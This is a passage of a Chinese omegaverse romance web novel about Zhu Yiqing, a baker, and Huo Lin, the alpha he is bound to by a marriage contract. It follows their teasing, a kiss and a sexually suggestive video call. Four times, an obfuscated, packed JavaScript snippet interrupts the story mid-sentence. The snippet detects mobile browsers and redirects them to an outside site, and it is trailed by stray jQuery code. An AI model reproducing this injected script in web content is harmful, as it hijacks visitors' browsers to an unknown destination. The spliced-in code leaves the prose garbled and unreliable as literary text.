他忐忑地回过头,发现祝贻清不知道什么时候已经醒了,而且已经坐了起来。但他确沉浸在自己的世界里无法自拔,对这一切都毫无察觉。 祝贻清问他:“你在干什么?” “没有!”霍粼此地无银三百两地否认道。 祝贻清歪头:“?” 霍粼顿时口干舌燥:“不是,我的意思是,我在收拾昨晚的衣服。” 他不知道祝贻清看到了没有,也不敢主动去提。他只能祈祷祝贻清刚醒来时完全没注意他,且对一切都一无所知。 祝贻清看霍粼脸色不对,好像干了什么亏心事。他的目光落在霍粼藏起来的那只手上,笑了笑:“收拾衣服就收拾衣服嘛,你藏什么?做了好事还怕被人知道?” 霍粼有口难言,但同时他狠狠松了一口气。祝贻清能说出这些话,就意味着祝贻清的的确确什么都没有看见。 真是苍天有眼,给了他一次重新做人的机会。 床上的祝贻清将霍粼的表情变化和细微动作尽收眼底。 他以前怎么没发现霍粼这么能装? 真有意思。 “我要把衣服拿出去了。”霍粼口不择言,只想快点转移话题,“刚才我帮你跟林周说过了,你今天可以晚点过去,没关系。” 他说着就要迈出房门。 祝贻清叫住他:“等一下。” 霍粼停下脚步,刚放下的心又提到了半空中:“怎么了?”他转念一想,祝贻清又没看见他干了什么,他何必要心虚。 有了底气,霍粼的声音大了点:“还有什么事吗?” “好闻吗?” “……什么?” 祝贻清不厌其烦地重复:“好闻吗?” 霍粼的大脑“嗡”地清空了,脑海中一片空白,连指尖都开始轻微地发颤。 他高兴得太早了。 ……祝贻清看见了。 祝贻清什么都看见了。 看见了他的动作,看清了他的神态,甚至看透了他的侥幸想法。 霍粼咬着牙,恼羞成怒:“祝贻清,你耍我?” 明明已经看见了,为什么一开始还要假装什么都不知道,祝贻清肯定是想看他的笑话! “我没有这个意思。”祝贻清面上依旧是那副平静无波的模样,“你还没有回答我的问题。” “……我不知道你在说什么。” “你不知道没关系,霍粼知道。”祝贻清给他支招,“要不你去问问霍粼吧?” 霍粼的脸红得快要爆炸了。 祝贻清盯着他的脸,觉得他现在有点像植物大战僵尸里的火爆辣椒,怒目圆睁但色厉内荏,威慑力仅有一瞬而已。 祝贻清不说话,霍粼也不说话,两人遥遥相望,视线在空中擦出火花。 最后是霍粼先待不下去了,他抱着衣服,三步并做两步逃出了房间。 而某个始作俑者还安稳地靠在柔软的床头,眼里漾出玩味的笑意。 祝贻清拿起手机看了一眼时间,翻身下床,朝自己的房间走去,每走一步,腿间的异样感就会更明显一点。 他几乎不用思考就能猜到,他大腿内侧的皮肤大概已经被擦破皮了。 除此之外,腰也有点酸。 但是没办法,该上班还是得上班。 祝贻清深知自己在霍家待不了多久,好日子总会到头。 他早就想好了,他未来离开霍家时不会收霍家哪怕一分钱,免得欠了谁的人情,到头来还不清。 祝贻清在自己的房间换完衣服,重新打开房门,和杵在门外的霍粼撞了个正着。 祝贻清被他吓得不轻,连带着语气也不太好:“有事?” 霍粼局促地说:“今晚我不回来吃饭了。” “做饭的又不是我,你去告诉刘姨就行,让她今晚别做你的饭。”祝贻清说完,见霍粼还堵着门口没有动,便意识到他的意图不止于此。 祝贻清盯着他的脸看了几秒:“你今晚是不是要出去玩?跟你那几个朋友?” “只有魏祈南。” 祝贻清了然地点点头。 魏祈南他是见过的,那个alpha跟霍粼从小一起长大,已经认识不下二十年了。 “去吧。”祝贻清自然不会觉得这是霍粼在向他报备行程,他猜中霍粼现在的想法就跟呼吸一样简单,“你要钱是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896599|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?要多少?” 自从他跟霍夫人签了协议之后,霍夫人就停了霍粼的卡,转而交给了祝贻清保管,美其名曰让霍粼花钱有点分寸。 可是霍家人花钱哪里需要注意分寸? 祝贻清心里门儿清,一是霍夫人给他这个“权利”,只是想让他当个眼线,平日里多帮忙注意一下霍粼;二是霍粼肯定不止一张卡,找他要钱顶多是心血来潮而已。 “先要一万吧。”霍粼说。 “一万够干什么?连一瓶好一点的酒都开不起。”祝贻清给他划了十万,“出去玩就好好玩吧,如果有多的要转回给我。” “我跟他出去不开酒,只是吃顿饭而已。”不过霍粼还是收下了,“多出来的我晚上再转给你。” “好。”祝贻清的眼神从霍粼的脸下移到他的手,alpha的双手空空如也,“昨天的衣服全都丢进洗衣机了?” 霍粼没料到这件事过不去了,他移开视线,赧然地开口:“都放进去了。” “可是内裤不能跟其他衣服一起洗,会洗不干净的,怎么办?”祝贻清挑起眼尾,桃花眼中浮出几分兴味,“霍粼,你没有趁我不在的时候偷偷做坏事吧?比如你又……” 一个“又”字很有深意。 霍粼梗着脖子打断道:“怎么可能!” “谁知道,毕竟你有前科。”祝贻清意味深长地看了他一眼,“我今天早上要是没醒,还真被你给瞒过去了……说起这个,我突然想起来了,你还是没有回答我的问题。” 霍粼被他步步紧逼地追问,额头上渗出一层汗,嘴硬道:“我什么都没做。” 他怎么好意思承认这种事情! ……好吧,其实除了这件事,霍粼还有更不好意思承认的,那就是他根本没有把祝贻清的内裤丢进洗衣机。 虽然家里有内衣裤专用洗衣机,但他还是选择用手洗了,洗的时候用了很多洗衣液,洗完之后他禁不住诱惑,又悄悄闻了一次。 特别特别香。 祝贻清:“嗯?” 霍粼被祝贻清惹急了,眉眼沉下来,开始以牙还牙地反问他:“先不提那件事,我觉得我们之间的协议就到此为止吧,可以吗?” 他认为祝贻清爱他爱得不行,所以把协议当做威胁祝贻清的筹码。 祝贻清也不得不承认,虽然霍粼解题过程全错,但结果是对的,那张协议的确能威胁到他。 “我错了。”祝贻清黯然垂下眼,鸦羽般的睫毛在脸颊上投影出一小片阴影,看上去格外惹人垂怜,“我只是跟你开个玩笑,你不要生气了。 “我又没让你道歉……”霍粼见祝贻清低眉顺眼的模样,那双眼半垂着,含着些许委屈,仿佛下一秒就要泛出两滴水珠。 霍粼心下莫名涌出几分烦闷,转过身去不再看他:“就这样吧,我去公司了。” “注意安全。”声音沉闷地说完,祝贻清愉悦地勾起嘴角。 看来霍粼被他伪装出来的假象骗到了。 哪知就在此刻,霍粼良心不安地回了头,生怕omega真的难过到哭出来。 结果一转眼就看见祝贻清脸上挂着不易察觉的笑,一副得逞了的得意模样。 祝贻清完全没想到他会回头,表情来不及切换,浅淡的笑意就这么光明正大地凝固在唇边。 “你笑什么?”霍粼被他气得牙痒,凶巴巴地问,“祝贻清,你又耍我?” 5. 暧昧距离 “他总是耍我。” 入夜,霍粼在餐厅见到魏祈南,率先开了口。 “是吗?”魏祈南眼尖,一下就瞥见了他领口下不明显的粉色痕迹,明知故问,“咦?你脖子怎么红了,这儿也有蚊子吗?” 霍粼自然知道他说的是什么:“……” 魏祈南拿起菜单,一边慢条斯理地翻阅,一边跟他聊闲天:“我倒是觉得你挺奇怪的。说你喜欢他吧,你好像也没说过他几句好话,说你讨厌他吧,这都三年了,你还不跟他取消协议。” “要我说,你还是早点想好,要是真受不了他,就尽快想办法取消协议。免得到时候真走到要结婚的那一步,你心里不痛快。” 说实话,魏祈南觉得霍家选上祝贻清联姻这件事本就奇怪。 但还有奇怪的,如今这“联姻协议”签完三年了,祝贻清和霍粼也没传出一点要结婚的消息,就像是还没等到一个合适的时机。 他们究竟在等什么呢? 魏祈南完全想不通。 霍粼听了他的话,下意识解释道:“其实祝贻清也没有那么讨厌……” “哦?”魏祈南挑眉,“那就是喜欢了?” 好像也合理。 “我怎么可能喜欢他!”霍粼像是被某个词语刺激到了,否认得飞快。怕魏祈南不信似的,他又重复了一遍,“我才不会喜欢他,我不喜欢年龄比我大的omega。” 魏祈南不解道:“为什么?他不就比你大了三岁吗?也还好吧。” “大了一分钟也是大。”霍粼找到了合适的理由去佐证自己不会喜欢祝贻清,整个人都放松了下来。 魏祈南笑了笑,没再说话。 他们中途喝了几杯酒。 酒精度数不高,不至于喝醉,只是肯定不能开车了。 魏祈南提醒他:“你记得叫司机来接你。” 霍粼正要点头,桌上的手机屏幕却先亮了起来,显示祝贻清来电。 他立刻接听。 “我下班啦。”祝贻清的声音从电话那端传来,混着嘈杂的风声,“你今天喝酒了吗?要不要我开车过去接你?” 霍粼想答应,但他今晚才当着魏祈南的面说了自己不喜欢祝贻清。 如果祝贻清一叫他,他就兴冲冲地跟人走了,未免也太丢脸了。 霍粼顿时改变了主意,他心一狠,不耐烦道:“谁让你管我了?你有什么资格管我?我几点钟回去跟你有什么关系?” 祝贻清明显被他噎了一下。 霍粼听见他吃瘪,又联想到今天早上祝贻清耍他时的模样,心里痛快得不行。 可痛快完,他的心又觉得空落落的—— 因为祝贻清沉默几秒后,直接挂了电话。 他拒绝了祝贻清。 祝贻清应该不会来接他了。 霍粼喉头发紧,手里握着酒杯,忽然没了再喝下去的兴趣。 “你平时就这么跟嫂子说话?他这都不生你的气?”魏祈南调侃道。 “他哪里敢生我的气。” 霍粼话还没说完,魏祈南的手机也进来了一通电话。 魏祈南看了一眼来电人昵称:“坏了,我老婆给我打电话了。” 他们两个人包了个包厢,也不怕吵到其它人用餐,魏祈南干脆点了外放:“怎么了宝贝?” “你在哪儿?” “跟霍粼吃饭呢。我昨天跟你说过的。” 电话那边的omega冷笑一声,变了语气:“还吃啊?你看看几点了!我让你给我带的奶茶买了吗?那家店九点半就要关门了,带不回来你今天也别回来了!” 魏祈南看了一眼时间,已经九点十五了。 他瞪大了眼睛,霎时站了起来:“我肯定给你买到,我现在就过去。你等着,你千万别把家门锁了!你等等我。” 魏祈南挂了电话,无奈地看向霍粼,语速比聊天时快了不少:“不行了,我真得走了,我老婆在催了。他没嫂子那么好说话,我得顺着他。这顿我结账,下次你再买单吧。” 魏祈南风风火火地走了,留下霍粼一个人孤零零地坐在偌大的包厢内。 霍粼后悔了。 早知道就让祝贻清来接他了。 不过这才过去五分钟,刚才做的选择应该还可以撤回……吧。 霍粼窝囊地回拨了祝贻清的电话。 - “他怎么能这么对你说话?!” 祝贻清给霍粼打电话时没避着林周,对话内容被林周听得一清二楚。 “他就是这样,说话一直都不好听。”祝贻清丝毫没被霍粼的言语影响,“你也别太放在心上,反正我跟他应该耗不了多久了。” 林周替他打抱不平:“可他这态度也太差了!真是给他脸了!” “不重要。”祝贻清看着林周,眼里闪过期待,“你还记得我们之前说好的吗?等我跟霍粼彻底断了,我们就把烘焙坊迁到江南那边去,再租个小院子,每天卖完一百个面包就歇业出去玩!” 他的目光转向后厨,顺手打包了一个自己爱吃的粉色的小蛋糕,蛋糕上面还有白色巧克力做的立体小爱心。 祝贻清也不知道霍粼是不是真的生气了,但还是打算带个小蛋糕回家,假意安慰一下霍粼。 反正霍粼通常不会接受他的赠予,这蛋糕到最后肯定还是会进他的肚子。 两人收拾好东西,锁了店门,一起朝停车场走去。 出乎意料的是,霍粼居然给他拨了通电话回来。 祝贻清接了电话,这次他没开免提,也没开口。 听筒安静了好一会儿,那头的霍粼才别扭地问他:“你还能来接我吗?” 祝贻清听得想笑:“这么快就后悔了?” 霍粼没回答,转移话题道:“我喝酒了。” “我知道了。”祝贻清轻叹一口气,“地址发给我,我去找你。” 林周听得眉头紧锁,他见祝贻清挂了电话,不高兴道:“他怎么阴魂不散的?跟植物大战僵尸里的蹦极僵尸一样,我想想就隔应。” 祝贻清情不自禁地笑出了声:“其实我觉得他更像火爆辣椒,每天都不高兴,也不知道因为什么。” “那就火爆辣椒吧。”林周觉得这也挺贴切的,“火爆辣椒又打电话跟你说什么了?” 祝贻清如实道:“他反悔了,让我去接他。” “哈?他怎么想一出是一出?”林周气得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896600|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙痒,“他这样你今晚还怎么好好休息啊?你别忘了我们明天还要出差,早上八点的高铁票啊,小心迟到。” 他们接了个大单,明天要去隔壁的C市,给别人的生日宴做巨型翻糖蛋糕。按大小和复杂程度来看,他们两个人保守估计要做一天半,刚好能赶上客户后天晚上的生日宴。 所以他们明天要暂时在C市住一天。 祝贻清点点头:“我肯定准时,你也早点回家吧。” 他照着霍粼给出的地址找到了霍粼,原本还以为霍粼喝多了,没想到人就好好地坐在包厢里,意识也非常清醒。 只是整个包厢就剩下霍粼一个人了。 “魏祈南呢?”祝贻清在他对面坐下。 霍粼拧了下眉头,心情突然变得很差:“你提他干什么?这么有闲心?” 祝贻清一愣:“我就随便问问。” “那你的好奇心还挺重的,一进来先关心一个不在场的alpha。”霍粼冷冷道,“你别忘了,我们之间是签了协议的。” “我当然记得。”祝贻清观察他的神色,“……你生气了吗?” 这就生气了? 霍粼绷着脸,没给出回应。 “我给你带了一块蛋糕,放在车上了。”祝贻清释放出求和的信号,“我们回车上好不好?” 霍粼抿着唇,一言不发。 祝贻清无奈。 他来到霍粼身边,倾身拉进他们的间距,意外发现霍粼竟然在用余光瞥他。 祝贻清笑起来,猝不及防地在他唇边吻了一下。 这个行为对alpha来说与挑衅无疑,霍粼眼疾手快地扣住祝贻清的后脑勺,不让他有逃离的空间。 alpha的眼底淌过欲望,他仰起头,发狠地吻在祝贻清的唇上。他吻得又急又气,发泄似的,极具侵略性,祝贻清被他弄得几乎喘不上气。 灼热的气息交融在一起,两人吻到濒临窒息,祝贻清实在撑不住了,呜咽着推开了霍粼。 霍粼被推开了也不恼,他与祝贻清保持着不近不远的暧昧距离,默默欣赏起omega小口喘气的模样。 omega白皙的脸上泛起潮红,眼眸水润,唇色被啃咬出一片嫣红,整张脸鲜妍秾丽。 他埋怨地瞪了霍粼一眼,明里暗里都像是勾引。 霍粼的喉结滚动了一下,面色不虞地挪开视线:“不要用这种表情看着我。” 祝贻清有点疑惑。 “……你现在到底在不高兴什么?”祝贻清软下嗓子,他的呼吸落在霍粼脸颊上,温热一片,“你一开始不是不要我来接你吗?后来你叫我来,我也马上就来找你了。如果我哪里做错了,你能不能告诉我?” 空气变得好安静。 霍粼无厘头地告诉他:“刚才魏祈南在这儿。” “他在这儿怎么了?”祝贻清想不到有什么事需要特意避开魏祈南,“你跟他的关系不是很好吗?” 片刻后,他联想到霍粼方才的诸多行为,忽然福至心灵。 他忍不住勾了勾alpha的手指,晶亮的桃花眼里噙着笑意,甚至还含着些不可言说的兴奋与挑逗。 “霍粼,你是找我来偷情的吗?” 6. 暗送秋波 “谁要跟你偷情。”霍粼“蹭”地站起来,差点撞到祝贻清身上,“回家了。” 祝贻清乖乖跟在他后面,眼里的兴奋还未消散:“你不觉得偷情很有意思吗?” “你还有这种爱好?”霍粼停下脚步,他比祝贻清高出将近十五厘米,垂下眼看祝贻清时,难免带着压迫感,“听起来你好像很熟练的样子……你平时都跟谁偷情?” “跟你啊。”祝贻清脱口而出,“我们偷情偷得还少吗?你别忘了,上次霍夫人来找你之前,我们还在——” 霍粼捂住了他的嘴,没让他把话说完:“这种事情不许往外说。” “我知道。”祝贻清推开他的手,“我没跟别人说过。” 霍粼硬邦邦地“嗯”了一声:“我们明天再做一次信息素疏导吧。” “不行。” “为什么?”霍粼蹙眉,“你刚才不是很想跟我偷情吗?现在又装起来了?” “不是。”祝贻清自然地牵上霍粼,跟他商量,“我明天要出差,后天晚上才回来。我们后天晚上再疏导吧,好不好?” 霍粼被打断了兴致,面露不悦:“出差的事之前怎么不说?” “……我忘记了。” 霍粼:“…………” 他真想把祝贻清的手甩开。 可是祝贻清的手柔软又温暖,皮肤触感光滑细腻,他不得不承认被祝贻清牵着很舒服。 反观祝贻清,他的表情相当无辜,以至于霍粼心里憋着一股气,上不去也下不来,闷得直发慌。 餐厅外有大面积的园林绿化,两人去往停车场要过一座石桥,石桥下有一条小溪,水流静缓。 他们走上石桥,意外发现石桥上有一位老人,靠着桥壁席地而坐,还半阖着眼,看上去落魄不堪。 祝贻清来的时候也过了桥,那时候老人还不在桥上。他暗地打量了老人一番,动了恻隐之心:“您遇上什么事了吗?” 老人睁开眼,眼睛居然炯炯有神:“我能有什么事儿?夜里热,出来吹风而已。” 祝贻清有点尴尬:“不好意思,我……” “无妨,你也是好心。”老人摆了摆手,稍微坐直了些,开始用目光审视祝贻清,“我看我们今日有缘,恰好我也有点小本事,我给你算一卦如何?” 霍粼挡在祝贻清身前:“据我所知,真正有本事的先生从不会自己找上门,而是等着别人找过来。” 言下之意就是说他的本事还不够深。 老人家没有回应霍粼的质疑,他的目光停在霍粼脸上,盯着他看了几秒,悠然开口:“不说他,那我说说你吧。我看你你这一辈子倒是顺风顺水,只有一点不好,那就是姻缘浅薄,你和你的恋人最多在一起三年就会分开。” 霍粼对此嗤之以鼻。 他紧紧地牵着祝贻清,掌心感受到omega温热的体温,不禁握得更紧了些。 老人说的话他一个字都不信,只认为对方是在胡说八道。 居然敢说他姻缘坎坷,最多和恋人在一起三年。他和祝贻清都已经在一起两年多了,难道他们一年之内就会分手?怎么可能! 真是好笑。 “骗子……”霍粼嘟囔一声,拉着祝贻清朝停车场的方向走。 老人被骂了骗子,耸了耸肩,望着他的背影道:“是不是骗子,你到时候就知道。” 霍粼眼底闪过一丝烦躁。 祝贻清发现他的心情急转直下,轻轻摇了摇他的手臂,哄骗他:“霍粼,要不你还是信我的吧,你相信我,你以后绝对不会是一个人。” 他想,没了他,肯定还会有沈阅音。 沈阅音那么喜欢霍粼,都为了霍粼来找了他好几次了,怎么可能会眼巴巴地看着霍粼孤独终老? 等他治好霍粼的病离开了,沈阅音肯定会迫不及待地取代他的位置吧。 “你在想什么?”霍粼出声打断了他的思绪。 祝贻清听见霍粼的问题,恍然回过神,告诉他:“我在想以后的事情。” “以后?”霍粼在心里咂摸这个词,又无声地重复了一遍,心情不说暴雨转晴,至少已经转了多云,“你现在就开始考虑这个了?” 祝贻清果然很喜欢他。 真是没想到,虽然他们连婚都没结,但祝贻清已经在认真考虑他们两个人的未来了。 “难道不应该考虑吗?”祝贻清顺口反问道。 他无意间瞥见霍粼的侧脸,alpha的耳尖似乎有可疑的红色在蔓延。 祝贻清收回目光,没当一回事。 时值盛夏,霍粼或许热了吧。 况且霍粼高了他大半个头,也无法排除是他看错了的可能性。 “我明天一早就走了。”祝贻清想了想,还是决定提前告知霍粼,“我这两天会很忙,白天应该不会看几次手机,如果你想找我的话,我没有办法及时回复你的消息。” 霍粼听漏了一个“找”字,还以为祝贻清说的是“如果你想我的话”。 面对祝贻清突如其来的亲昵,霍粼面红耳赤,显得无所适从。他下意识反驳道:“你凭什么觉得我会想你?你以为你很重要吗?我怎么可能会想你?” 祝贻清敷衍地“嗯嗯”两声。 霍粼心里那股憋闷的感觉如浪潮般再次翻了上来。 他还以为祝贻清听见他说这种话会撒娇,结果没有撒娇就算了,祝贻清居然还摆出一脸不在乎的样子。 霍粼不甘心,也不相信,他就一直盯着祝贻清。 祝贻清被盯得浑身发毛,无可奈何地瞪了他一眼。 霍粼内心烦闷的情绪瞬间烟消云散了—— 他就知道祝贻清会对他撒娇! 这下舒服了。 - 次日,祝贻清起了个大早。 两市距离不远,他和林周只花了两个小时就抵达了C市的烘焙工作室。 林周手上在收拾材料,嘴上也没闲着:“你昨天过去找他,他没为难你吧?” “没有。” 林周松了一口气:“那就好。” 祝贻清无声地笑了笑,开始埋头做蛋糕。 客户订的是复杂款旋转木马蛋糕,足足三层。 烤蛋糕不难,但做翻糖配件非常耗费时间。加之这款蛋糕需要使用大量糖霜吊线工艺,非常考验专注力和耐心。 他们两个人闷头做了大半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896601|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,连午饭都没空吃,才完成了不到百分之七十。 “休息一会儿吧,吊线太折磨人了。”祝贻清做得眼睛干涩,他脱了手套,翻出眼药水,往眼睛里滴了两滴,“你完全不累吗?” “累啊。”林周找了个位置坐下,“但是今天必须把所有配件做完,不然明天时间上来不及。” 祝贻清闭上眼,眼药水碰到干涩的眼睛,传来轻微的刺痛。他喃喃道,“以后真的不想再接这么复杂的款式了。” 林周肉疼地说:“可是客户给了很多钱,万一他以后再找我们呢?” “…………”祝贻清一想到这位客户给出的报价,连累都不好意思喊了,“但是话又说回来了……” 怎么能谈钱呢? 谈钱多俗气! 他愿意接单真不是因为他喜欢钱,他只是单纯喜欢做糖霜吊线、喜欢做复杂款蛋糕、喜欢这份工作并且想在这个领域发光发热而已! 林周看透了他:“其实你也拒绝不了钞能力吧。” “……”祝贻清说,“人之常情。” 兢兢业业地忙了一天,晚上十点,就在祝贻清洗漱完毕,打算舒舒服服地窝进被窝时,一天没吱声的霍粼给他发来了一条消息。 [能不能视频?] 祝贻清抿了抿唇。 虽然霍粼对他使用的是问句,但这并不意味着他可以轻快地拒绝。 祝贻清回复:[可以!] 视频通话请求立刻弹了过来。 祝贻清任由手机振动了一会儿,才慢吞吞地接了起来。他躺在床上,把自己裹进了柔软的被子里:“晚上好。” 霍粼挑眉:“你这么早就要睡了?” “早吗?但是我确实有点困了。”祝贻清的脸蹭了蹭被子,“我今天真的好累呀霍粼,手都快抬不起来了。” 霍粼没说话,他眼睛都看直了。 一天没见到祝贻清,他本来就想,好不容易到了晚上,还只能隔着屏幕打视频电话,抱不到摸不着,他所有的欲念都无处疏解。 镜头里,祝贻清懒洋洋地翻了个身,手机从手中滑落。 翻滚一圈后,手机镜头对准了天花板,摄像头范围内连半个人影都没有,一片空白。 霍粼被迫跟天花板对视,急了:“祝贻清,你人呢?” “手机没拿稳。”祝贻清重新将镜头对准自己,“你今晚找我有事吗?” 他光顾着看霍粼的反应,没注意到镜头只框出了自己的小半张脸,以及看起来纤细又脆弱的颈脖。 “没事就不能找你吗?”霍粼的声音透过手机传来,与平日里听见的音色有细微的区别,“只是想看看你。” “你该不会想我了吧。”祝贻清游刃有余地跟霍粼开了个玩笑,他认真调整了一下镜头角度,把整张脸都露了出来,“你想怎么看?这样吗?” 或许是刚洗完澡的缘故,omega眼眸盈润,似乎覆了一层薄薄的水雾,他透过屏幕长久地注视着霍粼,每一次眨眼都像是在暗送秋波。 “嗯。”霍粼的喉结滚动了一下,他的视线紧盯着屏幕的画面,舍不得挪开哪怕一秒钟,“还有你胸口的那颗痣,能不能也给我看看?” 7. 故作不满 祝贻清轻笑一声,笑声从听筒里飘过去,羽毛似的在霍粼心口上挠痒痒。 “以前怎么不知道你喜欢这个?”祝贻清松了浴袍的腰带,把领口敞开了些,露出大片雪白的肌肤。 在他的胸口处,一颗小痣点缀其中。 霍粼看得呼吸一窒,当即有了反应。 他害怕被祝贻清发现自己的异常,只能继续绷着脸,故作不满:“看不清。” “那怎么办?”祝贻清露出遗憾的神情,把镜头拿近了不少,“手机像素有限,怎么可能跟肉眼看起来一样清晰。” 镜头贴得太近,反而更糊了。 屏幕被omega雪白的胸口占据,霍粼幻视自己的脸已经贴了上去。他的呼吸抑制不住地急促了些:“不行,别离这么近……” 要求还挺多。 祝贻清想了想,干脆把手机架在床头柜上,自己则跪坐在床上,让手机能够拍到自己的上半身:“霍粼,我给你看这么多,你应该不会偷偷录屏吧?” “……我没那么无聊。”霍粼咬着牙,否认道。 “是吗?那再给你看点别的吧。”祝贻清伸手将手机向下倾斜了四十五度,让摄像头对准了自己的大腿,“说好的不会录屏,你不要反悔。” omega的腿匀称白皙,线条流畅诱人,泛粉的膝盖跪在床上,在床单上压出一片褶皱。 霍粼喉咙干渴,忽然很想喝水。他越看越受不了,别扭地把脸挪到了镜头之外,但他的眼神依旧停留在手机屏幕上。 镜头里的霍粼完全消失了,祝贻清点到即止地改变了手机的摄像角度,重新让摄像头对准了天花板。 霍粼下意识蹙眉:“你怎么……” “好了,到此为止吧,我要睡觉了。”祝贻清说,“反正我明天就回去了,如果你还想看的话,明天再给你看吧。” 在祝贻清看不见的地方,霍粼的脸涨红了:“你能不能不要自作多情,谁会想见你?” 他说话时,不同字眼间的换气声粗重了些,虽然已经极度克制,但还是被祝贻清听出了端倪。 等一下。 霍粼把脸挪出屏幕,该不会是因为他正在干坏事吧…… 祝贻清的困意消散了一半。 他来了兴致,点名道姓地问:“霍粼,你在干什么?” 霍粼在干什么只有他自己清楚。 他生怕在祝贻清面前露馅儿,瞬间屏住了呼吸。 可祝贻清偏偏不愿意放过他。 “霍粼,你在干什么呀?让我看看行吗?” 霍粼闻言,气息变得急促了些。 “就算你不说,我也知道你在干什么。”祝贻清对一切都心知肚明,随口撩拨道,“你这么想我吗?那我明天回去亲你一下吧,你记得在门口等我。” 霍粼一言不发地挂断了视频通话。 祝贻清:? 他笑着给霍粼发消息:[你还好吗?] 过了一会儿,他收到了霍粼的回复。 [我不需要你关心] 真是好没良心。 祝贻清来不及在意没良心的霍粼,身体的倦怠便占据了上风。 既然霍粼说了不需要关心,他就不问了,干脆一个字都没回复霍粼,将alpha抛之脑后,关灯睡觉了。 - 翌日。 祝贻清拖着行李箱回到家,刚打开门,就看见了倚在门边的alpha。 黑乎乎的、高大的人影笼罩住祝贻清,在黑暗中极具压迫感,祝贻清被吓得往后踉跄了一步。 “霍粼?”祝贻清心有余悸地问,“你怎么不开灯?” 霍粼没回答他的话,而是用居高临下的眼神望着他,活像个讨债鬼。 祝贻清没记起来自己欠了他什么:“你站着不累吗?” 霍粼的眉眼转阴,忍住脾气提醒:“你昨天不是说……” 祝贻清眨眨眼:“我说什么了?” “没什么。”霍粼这下是真不高兴了,狠狠按下入户灯的开关,周围亮了起来。 原来祝贻清又在耍他,就他还呆呆地信了! 祝贻清是真不记得了,他绞尽脑汁也没想起来霍粼说的是什么事:“到底什么事?你跟我说清楚嘛。” “我跟你没什么好说的!”霍粼语气不善,“你怎么是这种人?” “我……”祝贻清百口莫辩,“对不起,我真的不记得了。我还能做点什么弥补一下吗?” 霍粼思考片刻。 “我还没吃饭。”alpha毫不留情地指使他,“冰箱里有阿姨处理好的鱼片,你去做鱼片粥。” 祝贻清的眼睛倏地睁大了。 他站在原地,食指迟疑地指着自己:“……你说谁?我吗?” 虽然他擅长烘焙,看上去是一副很会做饭的样子,但他自己知道这两样技能并不相通。 而且他做饭格外“天赋异禀”,正常人是在厨房做饭,他是在厨房生产化石。 “今天赵阿姨没有来家里做饭吗?”祝贻清挣扎道,“那现在还能不能找到别的阿姨呀?” 如果让他来熬鱼片粥,那么鱼算是白死了,他算是白活了。他得给鱼道歉,不然都怕鱼死不瞑目,半夜来找他要个合理的解释。 在霍粼的坚持下,祝贻清只能硬着头皮上了。 他生怕自己又做出什么惊天地泣鬼神的“作品”,决定这次一定按照教程来煮粥。 粥煮到一半,祝贻清觉得白色的粥有点单调,灵机一动,想起来冰箱里有一点蝶豆花。 他在冰箱里翻找蝶豆花时,又意外发现了鱿鱼须和莲子。 似乎都是好东西,干脆一起加进去吧。 没过多久,锅里的粥逐渐变蓝,鱿鱼触须横七竖八地浮在表面,莲子全部都被煮得开了口,像一颗颗眼珠子。 更可怕的是锅里还在咕噜咕噜地冒着泡泡,不知道的还以为他在熬毒药。 果然做饭最忌讳的就是灵机一动…… 祝贻清终于意识到大事不妙,但事已至此,他已经没有回头路可以走了。 他心里有点慌,下意识想要寻求一点安慰,于是拍了张照片发给林周,问他:[你觉得卖相怎么样?] 林周秒回。 [这是屎吗?] [不好意思打错了,这是什么?] 祝贻清:“………………” 没有被安慰,反而被重创了。 他眼一闭,心一横,不管了。反正不是他自己吃,是霍粼非要让他做饭的,也怪不了他。 他辛辛苦苦这么久,没有功劳也有苦劳……吧。 祝贻清把变异的“鱼片粥”端出去,心虚地放在霍粼面前。 霍粼光是看一眼,就起了一身鸡皮疙瘩:“粥为什么是蓝色?” “我想解释一下。”祝贻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896602|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 